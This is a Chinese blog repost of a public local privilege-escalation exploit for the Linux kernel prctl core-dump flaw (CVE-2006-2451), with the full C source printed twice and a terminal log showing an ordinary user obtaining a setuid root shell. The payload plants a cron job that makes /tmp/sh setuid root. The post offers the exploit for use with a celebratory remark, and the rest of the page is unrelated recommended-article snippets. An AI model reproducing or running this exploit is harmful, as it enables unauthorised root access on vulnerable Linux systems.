Linux Kernel PRCTL Core Dump Handling本地溢出代码

【信息科学与工程学】计算机科学与自动化——第一百三十四篇 编程语言篇 系列十三 PHP 01 本表格涵盖了PHP从内存管理(引用计数)、执行引擎(Zend VM/JIT)、核心数据结构(HashTable)、并发模型(Generator/Fiber)到工程实践(命名空间/类型系统)的关键底层机制。: PHP使用PCRE2库(Perl Compatible Regular Expressions),编译为正则表达式内部表示(字节码),通过pcre2_match()执行匹配。指向一个PHP脚本,该脚本在PHP-FPM启动时执行,将指定的类、函数等永久加载到OPcache共享内存中,且不会被清除。 阅读详情
 有漏洞的内核:(Kernel 2.6.x  (>= 2.6.13 && < 2.6.17.4))
代码如下:
/*****************************************************/
/* Local r00t Exploit for:                           */
/* Linux Kernel PRCTL Core Dump Handling             */
/* ( BID 18874 / CVE-2006-2451 )                     */
/* Kernel 2.6.x  (>= 2.6.13 && < 2.6.17.4)           */
/* By:                                               */
/* - dreyer    < luna@aditel.org>   (main PoC code)   */
/* - RoMaNSoFt < roman@rs-labs.com> (local root code) */
/*                                  [ 10.Jul.2006 ]  */
/*****************************************************/

#include <stdio.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <unistd.h>
#include <linux/prctl.h>
#include <stdlib.h>
#include <sys/types.h>
#include <signal.h>

char *payload="/nSHELL=/bin/sh/nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin/n* * * * *   root   cp /bin/sh /tmp/sh ; chown root /tmp/sh ; chmod 4755 /tmp/sh ; rm -f /etc/cron.d/core/n";

int main() {
    int child;
    struct rlimit corelimit;
    printf("Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t/n");
    printf("By: dreyer & RoMaNSoFt/n");
    printf("[ 10.Jul.2006 ]/n/n");

    corelimit.rlim_cur = RLIM_INFINITY;
    corelimit.rlim_max = RLIM_INFINITY;
    setrlimit(RLIMIT_CORE, &corelimit);

    printf("
  • Creating Cron entry/n");

        if ( !( child = fork() )) {
            chdir("/etc/cron.d");
            prctl(PR_SET_DUMPABLE, 2);
            sleep(200);
            exit(1);
        }

        kill(child, SIGSEGV);

        printf("
  • Sleeping for aprox. one minute (** please wait **)/n");
        sleep(62);

        printf("
  • Running shell (remember to remove /tmp/sh when finished) .../n");
        system("/tmp/sh -p");
    }

    实验过程如下:
    [choatrue@localhost ~]$ uname -a
    Linux localhost 2.6.15-1.2054_FC5 #1 Tue Mar 14 15:48:33 EST 2006 i686 i686 i386 GNU/Linux
    [choatrue@localhost ~]$ vi a.c
    #include <sys/time.h>
    #include <sys/resource.h>
    #include <unistd.h>
    #include <linux/prctl.h>
    #include <stdlib.h>
    #include <sys/types.h>
    #include <signal.h>

    char *payload="/nSHELL=/bin/sh/nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin/n* * * * *   root   cp /bin/sh /tmp/sh ; chown root /tmp/sh ; chmod 4755 /tmp/sh ; rm -f /etc/cron.d/core/n";

    int main() {
        int child;
        struct rlimit corelimit;
        printf("Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t/n");
        printf("By: dreyer & RoMaNSoFt/n");
        printf("[ 10.Jul.2006 ]/n/n");

        corelimit.rlim_cur = RLIM_INFINITY;
        corelimit.rlim_max = RLIM_INFINITY;
        setrlimit(RLIMIT_CORE, &corelimit);

        printf("
  • Creating Cron entry/n");

        if ( !( child = fork() )) {
            chdir("/etc/cron.d");
            prctl(PR_SET_DUMPABLE, 2);
            sleep(200);
            exit(1);
        }

        kill(child, SIGSEGV);

        printf("
  • Sleeping for aprox. one minute (** please wait **)/n");
        sleep(62);

        printf("
  • Running shell (remember to remove /tmp/sh when finished) .../n");
        system("/tmp/sh -p");
    }

    "a.c" [新] 51L, 1684C 已写入                                                                                                               
    [choatrue@localhost ~]$ gcc -o a a.c
    [choatrue@localhost ~]$ id
    uid=501(choatrue) gid=501(choatrue) groups=501(choatrue) context=user_u:system_r:unconfined_t
    [choatrue@localhost ~]$ ./a
    Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t
    By: dreyer & RoMaNSoFt
    [ 10.Jul.2006 ]

  • Creating Cron entry
  • Sleeping for aprox. one minute (** please wait **)
  • Running shell (remember to remove /tmp/sh when finished) ...
    sh-3.1# whoami
    root
    sh-3.1# id
    uid=501(choatrue) gid=501(choatrue) euid=0(root) groups=501(choatrue) context=user_u:system_r:unconfined_t
    sh-3.1#

    HOHO,爽了吧。。。
自绘CListCtrl时发现ON_WM_MEASUREITEM_REFLECT和DrawItem(LPDRAWITEMSTRUCT lpMeasureItemStruct) 无响应 自绘CListCtrl时发现ON_WM_MEASUREITEM_REFLECT和DrawItem(LPDRAWITEMSTRUCT lpMeasureItemStruct) 无响应 一般情况下,我们都是在 dialog 里面 放一个 list 控件,然后 用自己的类绑定自己的自绘对象,如同下面: 1.  在 dialog 里面 加一个 list 列表 2. 然后 绑定这个列表 哈哈... 阅读详情

相关推荐

从时序精度到视觉盛宴:PY32F030驱动WS2812的工程艺术与避坑指南

本文深入探讨了基于PY32F030微控制器驱动WS2812智能LED的完整解决方案。通过精确的时序控制、硬件PWM结合DMA传输技术,实现了稳定可靠的驱动效果,并提供了电源管理、信号完整性和常见问题排查等实用避坑指南,帮助开发者轻松应对严格的纳秒级时序挑战。

wind6的博客 121

prctl()函数详解

越过当设置文件的S_ISUID和S_ISGID位的时候,用户的ID必须和所有者ID匹配的限制,设置S-ISGID位的时候,组ID。如果_POSIX_ACL定义,就会越过所有的DAC访问,包括ACL执行访问,用CAP_LINUX_IMMUTABLE功能来排除。EINVAL————option的值不正确,或者当它是PR_SET_PDEATHSIG时,参数arg2的值不是0或者信号数字。(Since Linux2.6.9)必须和所有者ID匹配的限制,用chown来设置S_ISUID和S_ISGID为的功能限制。

CodeAllen嵌入式 1373

自动驾驶仿真 (四)—— 基于PreScan与Simulink的AEB系统多场景验证

本文详细介绍了基于PreScan与Simulink的AEB系统多场景验证方法,涵盖标准场景搭建、复杂工况扩展及控制策略优化。通过仿真技术,显著降低测试成本并提升场景覆盖率,有效解决实车测试中的痛点问题。特别适用于自动驾驶领域的AEB系统开发与验证。

weixin_28273593的博客 249

prctl()函数应用

int prctl(int option,unsigned longarg2,unsigned long arg3,unsigned long arg4,unsigned long arg5) 这个系统调用指令是为进程制定而设计的,明确的选择取决于option: PR_GET_PDEATHSIG :返回处理器信号;   PR_SET_PDEATHSIG :arg2作为处理器

thinkinwm的专栏 2787

全国充电站分布数据

CnOpenData推出的充电站数据覆盖全国34个省份的3万条数据,包含充电站名称、省份名称、省份代码、商圈、经纬度等地理信息以及商业类型、评分、消费等衍生信息,能为城市规划、环境科学、市场分析、技术发展和社会经济研究等多个领域提供宝贵的数据支持。

Sunny9qx的博客 4034

Android14 Qcom 从Framework到Driver带你打开WIFI(二)

上篇文章讲到了UI打开WIFI以后,逐步调用到加载底层驱动以及通知等相关流程。这篇接着上文继续往下看WIFI ON的后续动作。

IAYLBL的博客 767

gdb 的调试原理 以及Android的安全机制

这两天在看NDK文档的时候,看到一句话“Native debugging ... does not require root or privileged access, aslong as your application is debuggable”。咦,NDK调试不就是通过ptrace来实现调试的么?在非Root的手机上是怎么进行ptrace的呢?借这两个问题正好可以介绍一下Android的安

Mark_YPQ的专栏 2255

海洋捕食者算法(MPA)详解:从海洋生态智慧到高性能优化

摘要: 海洋捕食者算法(MPA)是一种基于海洋生态觅食行为的元启发式优化算法,模拟捕食者(如鲨鱼)的布朗运动和莱维飞行策略进行全局与局部搜索。算法分为三阶段:高速比阶段(全局探索)、单位速度比阶段(平衡搜索)和低速比阶段(局部开发),通过精英矩阵和FADs效应(概率扰动)避免早熟收敛。MPA具有参数少、收敛快、寻优能力强等特点,适用于复杂优化问题,其数学模型将生物行为转化为随机游走与自适应策略,并通过收敛因子动态调整探索-开发平衡。实验表明,MPA在多个基准问题上表现优异。

qq_42212808的博客 274

prctl()说明

prctl函数是Linux系统中支持的一个非常重要的函数,它给进程提供了一种在不重新启动进程的情况下,能够改变和调整进程自身行为的能力。越过当设置文件的S_ISUID和S_ISGID位的时候,用户的ID必须和所有者ID匹配的限制,设置S-ISGID位的时候,组ID。然而,由于prctl函数的功能设置复杂,而且涉及到操作系统对进程和资源的控制,如果不小心操作,就可能对系统造成严重的破坏。prctl函数的使用,可以极大地提高进程管理的效率,能够解决资源竞争的问题,也可以更好地提高系统的安全性和稳定性。

fivestar2009的博客 2462

基于YOLOv8/YOLOv7/YOLOv6/YOLOv5的远距离停车位检测系统(深度学习代码+UI界面+训练数据集)

本文详细介绍了基于YOLOv5/YOLOv6/YOLOv7/YOLOv8深度学习模型的远距离停车位检测系统的完整实现方案。该系统能够准确识别200米范围内的停车位状态,为智能停车场管理系统、自动驾驶车辆提供关键的视觉感知能力。文章涵盖算法原理、数据集构建、模型训练、系统实现及优化策略,并提供完整的代码实现和UI界面设计。关键词:YOLO系列,深度学习,停车位检测,计算机视觉,智能交通系统pythonimport cv2import os"""创建数据存储目录""""""定时采集图像"""

YOLO 186

福建公共资源交易平台 portal-sign与响应Data解密逆向实录

本文分析了福建公共资源交易电子公共服务平台的接口加密机制。通过抓包和代码分析,发现请求头中的portal-sign由MD5算法生成,包含固定秘钥和排序后的参数拼接。响应数据采用AES-256-CBC加密,需使用特定Key和IV解密。文章详细介绍了签名生成规则、参数处理流程及加密常量定位方法,为接口对接提供了技术参考。整个过程展示了如何通过逆向工程还原前端加密逻辑,最终实现脱离浏览器环境的纯协议调用。

自成背后的博客 1160

C语言:prctl函数的用法

#include <sys/prctl.h> int prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5); 这个系统调用指令是为进程制定而设计的,明确的选择取决于 option: PR_GET_PDEATHSIG:返回处理器信号; PR_SET_PDEATHSIG:arg2作为处理器信号pdeath被输入,正如其名,如果父进程不能再用,进程接受这个信号

weixin_44498318的博客 3831

温度PID控制PLC程序

温度PID稳定控制程序,适用于欧姆龙PLC,对其他PLC也具有很大参考价值

用prctl给线程命名

对于多线程应用程序,如果能够给每个线程命名,那么调试起来的便利是不言而喻的。       可以用prctl给进程内其它线程命名的接口,测试代码如下: #include #include #include #include void* pFunc(void *arg) {     char name[32];     prctl(PR_SET_NAM

Tyrion Lannister's Special column 1886

efm32 入门.pdf

本PDF共计22页,介绍的是操作驱动API,下载与否自己斟酌。

C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片

基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正

用prctl定制你的线程

prctl Test name: prctl Syscall number: 172 Syscall name: prctl (man) File name: prctl.txt (1225 bytes) * * 说明 * * intprctl(int option,unsigned long arg2,unsigned long arg3,unsigned longarg4,uns

873

老版QQ原生表情gif动态

这是老版的QQ表情,不过全是动态的的,Windows照片查看器是不会动的,可以右击用浏览器打开查看,再说一遍是老版的,只是分享给宁愿用老版也要动态的人。

Linux—用prctl()给线程命名

Linux—用prctl()给线程命名

那年聪聪 5345

linux kernel pwn学习之hijack prctl

Hijack prctl Prctl是linux的一个函数,可以对进程、线程做一些设置,prctl内部通过虚表来调用对应的功能,如果我们劫持prctl的虚表,使它指向其他对我们有帮助的内核函数,比如call_usermodehelper函数,该函数执行一个用户传入的二进制文件,且以root权限执行,由此可以利用起来提权。 我们分析一下prctl源码,在linux/kernel/sys.c里,我...

seaaseesa的博客 2045

浅谈core dump

core文件描述 参考:man手册 1.什么是core dump 许多程序和操作系统崩溃或者出错时,一般会自动生成一个叫core 的文件(二进制文件)。因为某些信号的默认动作是导致进程终止并产生一个core dump文件(signal(7)),core文件记录的是程序崩溃时的内存映像,包含寄存器的状态,堆栈指针,内存管理信息还有各种函数调用堆栈信息等,并且加入了调试信息(例如,g...

Change_208H 891

多线程编程——prctl()函数介绍

今天在看项目代码时,发现了一个以前没有用过的函数:prctl()。查阅相关资料有所得,现总结如下 >>>>>>>>>>>>>>>>>>>>>不求面面俱到,但求言简意赅 1 》》函数原型《《 #include int prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned

bad_good_man的专栏 5万+

linux 编程--prctl()函数应用

int prctl ( int option,unsigned long arg2,unsigned long arg3,unsigned long arg4,unsigned long arg5 ) 这个系统调用指令是为进程制定而设计的,明确的选择取决于option: PR_GET_PDEATHSIG :返回处理器信号;   PR_SET_PDEATHSIG :arg2作为处理器信号pd

tmxkwzy的博客 2611

Linux输入输出重定向与用户管理精要

本文系统梳理了Linux输入输出与用户组管理核心内容。输入输出部分涵盖字符设备与块设备区别、文件描述符、重定向与管道机制,重点解析2>&1等易错点;用户管理部分详解3A安全机制、用户分类、配置文件及常用命令(如useradd、passwd、sudo),强调权限最小化与安全审计。全文突出实践应用,适用于系统运维与考试复习。

2301_80092853的博客 633

Linux 网络排障实战:工业边缘场景下的 ss 与 netsta

工业网关的网络问题 — 服务起不来、连接堆积、外联异常 — 大多能从 socket 状态入手定位。;netstat 属于已停止维护的 net-tools,本文仅作对照。从工程实战角度梳理连接排查的完整用法。

ZenovaEdgeOS的博客 407

linux下面Kconfig简说depends on和select

关键字作用在你这段配置里的含义depends on门槛:条件不满足,选项不出现必须有 I2C、V4L2、MD6000 平台支持select强制:本选项开启,则被选项自动开启IMX178 开启时,自动打开 Media Controller 和 V4L2 Subdev API简单记:depends on管“我需不需要别人”select管“我开启了就顺手把别人拉上”。备注: 不会被看见,则不会被编译进去default nhelp+123。

hezhensheng007的专栏 195

USB 技术系列 11 · USB Linux 驱动框架

本文系统解析Linux USB驱动框架,涵盖USB Core、HCD(xhci-hcd/dwc3)、类驱动(CDC/HID/Mass Storage)分层架构,详解usb_device_id匹配、probe/disconnect生命周期及Device Tree配置。结合RISC-V N300实战,揭示Host/Device双模式驱动开发核心逻辑,助力嵌入式BSP开发者掌握USB子系统全栈能力。

peter_pan_study的博客 272

Linux 服务器性能排查手册(2026):CPU、内存、磁盘IO、网络四大瓶颈定位

iptables 四表五链模型、firewalld zone 信任级别、云安全组与主机防火墙的关系与优先级,避坑改了防火墙把自己挡在服务器外面的翻车事故。

2502_91473995的博客 342
上一篇: linux command line reference
下一篇: Microsoft Security Bulletin MS08-067 – Critical
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值